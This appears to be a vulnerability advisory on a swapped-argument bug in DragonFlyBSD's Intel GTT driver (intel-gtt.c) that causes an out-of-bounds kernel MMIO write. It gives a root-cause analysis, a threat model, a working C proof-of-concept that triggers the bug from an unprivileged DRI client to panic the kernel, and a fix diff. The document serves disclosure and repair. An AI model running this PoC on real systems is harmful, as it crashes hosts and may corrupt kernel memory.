• File: sys/dev/agp/intel-gtt.c
• Lines: 1406, 1411–1412
• Severity: Medium
• CVSS: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H
• CWE: CWE-683 Function Call With Incorrectly Ordered Arguments
• Confidence: certain

Summary

intel_gtt_insert_page() forwards its (addr, pg) arguments to install_gtt_pte() in the wrong order: it passes the DMA address as the GTT page index and the page index as the physical address. install_gtt_pte expects (dev, u_int index, vm_offset_t physical, int flags) — proven by the correct sibling intel_gtt_insert_sg_entries() at line 1429 and by the upstream Linux reference where write_entry(addr, pg, flags) takes the same (addr, entry) order but install_gtt_pte's parameter order is reversed.

The net effect is a bus_write_4() at offset (truncated-physical-addr)*4 into a BAR that is only 512KB–2MB, i.e. an out-of-bounds MMIO write whose offset is partially attacker-influenced, plus a PTE whose value is derived from the small page index rather than the real physical address.

Root cause

At sys/dev/agp/intel-gtt.c:1411, the function calls:

sc->match->driver->install_gtt_pte(intel_agp, addr, pg, flags);

The driver callback signature, declared at line 186 and realized e.g. by agp_i915_install_gtt_pte (line 985) and agp_i965_install_gtt_pte (line 1007), is void (*)(device_t, u_int index, vm_offset_t physical, int flags).

So addr (dma_addr_t, up to 36-bit on gen4) is narrowed to u_int and used as index, then multiplied by 4 in agp_i915_write_gtt (line 1003: bus_write_4(sc->sc_res[0], index * 4, pte)) or index*4 + 512KB in agp_i965_write_gtt (line 1026) or index*4 + 2MB in agp_g4x_write_gtt (line 1049).

Meanwhile pg (the real GTT slot index, a small number) is treated as the physical address and ORed with I810_PTE_VALID (line 990 / 1012).

Compare with intel_gtt_insert_sg_entries() at lines 1429–1430 which calls install_gtt_pte(intel_agp, pg_start + i, page, flags) — index first, physical second — confirming the convention and that the insert_page call is reversed.

Upstream Linux drivers/char/agp/intel-gtt.c calls intel_private.driver->write_entry(addr, pg, flags) where write_entry takes (dma_addr_t addr, unsigned int entry, ...) — i.e. Linux's write_entry has the OPPOSITE parameter order to DragonFly's install_gtt_pte, and the adapter was written assuming Linux's order without swapping.

Reachable on legacy Intel GMCH hardware (i915/G33/Pineview/G4X — exactly the chips this driver matches at lines 317–442) via the i915_gmch_probe vtable wiring at sys/dev/drm/i915/i915_gem_gtt.c:3538 (ggtt->vm.insert_page = i915_ggtt_insert_page), which in turn is invoked from i915_gem.c:1257, 1461 and i915_gem_execbuffer.c:1072 — paths reachable from an unprivileged DRI client issuing GEM pwrite / EXECBUFFER ioctls on /dev/dri/card0.

Threat

Local unprivileged attacker with access to /dev/dri/card0 on a host with affected legacy Intel integrated graphics (i915GM, G33, Pineview, G45, Ironlake — gen 3 to gen 5).

Any DRI operation that triggers single-page GTT insertion (GEM object bind via EXECBUFFER, pread/pwrite on a freshly-allocated GTT node, GPU error capture) routes through this buggy adapter.

The write lands at KVA_of_BAR + (phys_addr & 0xFFFFFFFF) * 4, which for any RAM above ~128 MB is gigabytes past the small BAR mapping. Most likely impact is a kernel page fault / panic (local DoS).

Because the destination is a kernel-virtual address computed from a (partially attacker-influenced) physical address and the surrounding KVA layout is largely fixed, a more sophisticated attacker may land the write on adjacent kernel memory (other device mappings, kernel text/data, vm structures), giving a primitive toward memory corruption and potentially privilege escalation — but weaponizing that requires matching the host's KVA layout, so escalation confidence is speculative.

Exploit / PoC

Build a DRI client on DragonFlyBSD that forces the i915 driver through its single-page insert path on legacy hardware.

/* poc_intel_gtt_swap.c — compile on a DragonFlyBSD host with
 * legacy Intel graphics (i915GM/G33/G4X/Pineview/Ironlake):
 *   cc -O2 -o poc poc_intel_gtt_swap.c -I/usr/local/include \
 *       -L/usr/local/lib -ldrm
 * Run as a regular user in the video group, with i915 KMS loaded.
 */
#include <fcntl.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <xf86drm.h>
#include <i915_drm.h>

int main(void)
{
    int fd = open("/dev/dri/card0", O_RDWR);
    if (fd < 0) { perror("open /dev/dri/card0"); return 1; }

    /* Create a small GEM object; when the kernel binds a single page into
     * the GGTT for pwrite/execbuf on a fresh node, it routes through
     * i915_ggtt_insert_page -> intel_gtt_insert_page(addr, pg, flags),
     * which calls install_gtt_pte(dev, addr, pg, flags) — args swapped.
     * The bus_write_4 inside writes to BAR_base + (phys_addr & 0xffffffff)*4,
     * gigabytes past the 512KB MMADR BAR. */
    struct drm_i915_gem_create gc = { .size = 4096 };
    if (drmIoctl(fd, DRM_IOCTL_I915_GEM_CREATE, &gc)) {
        perror("gem_create"); return 1;
    }

    /* Execbuf that pins the object into the GGTT; this exercises
     * i915_gem_execbuffer.c:1072 ggtt->vm.insert_page(...). */
    struct drm_i915_gem_pwrite pw = {
        .handle = gc.handle,
        .size = 4096,
        .data_ptr = (uint64_t)malloc(4096),
    };
    drmIoctl(fd, DRM_IOCTL_I915_GEM_PWRITE, &pw);

    printf("if you reach here without a panic, the host layout\n"
           "tolerated the OOB MMIO write. On most layouts the kernel\n"
           "faults on the unmapped KVA past the BAR mapping.\n");
    close(fd);
    return 0;
}

Success criteria: kernel panic with a page fault at a KVA matching (bar_base + phys*4) while the i915 driver is mid-bind, OR (on hosts where the destination KVA happens to be mapped) silent corruption of whatever lives there followed by a delayed, less obvious fault. dmesg should show a fatal trap entry referencing the agp_i810 write path (backtrace through agp_i915_install_gtt_pte / agp_i915_write_gtt / intel_gtt_insert_page / i915_ggtt_insert_page).

Recommended fix

Swap the call to install_gtt_pte so that the page index is the second argument and the DMA address is the third, matching the callback signature and matching the sibling intel_gtt_insert_sg_entries:

--- a/sys/dev/agp/intel-gtt.c
+++ b/sys/dev/agp/intel-gtt.c
@@ -1407,7 +1407,7 @@ void
 intel_gtt_insert_page(dma_addr_t addr, unsigned int pg, unsigned int flags)
 {
    struct agp_i810_softc *sc = device_get_softc(intel_agp);

-   sc->match->driver->install_gtt_pte(intel_agp, addr, pg, flags);
+   sc->match->driver->install_gtt_pte(intel_agp, pg, addr, flags);
 }

 void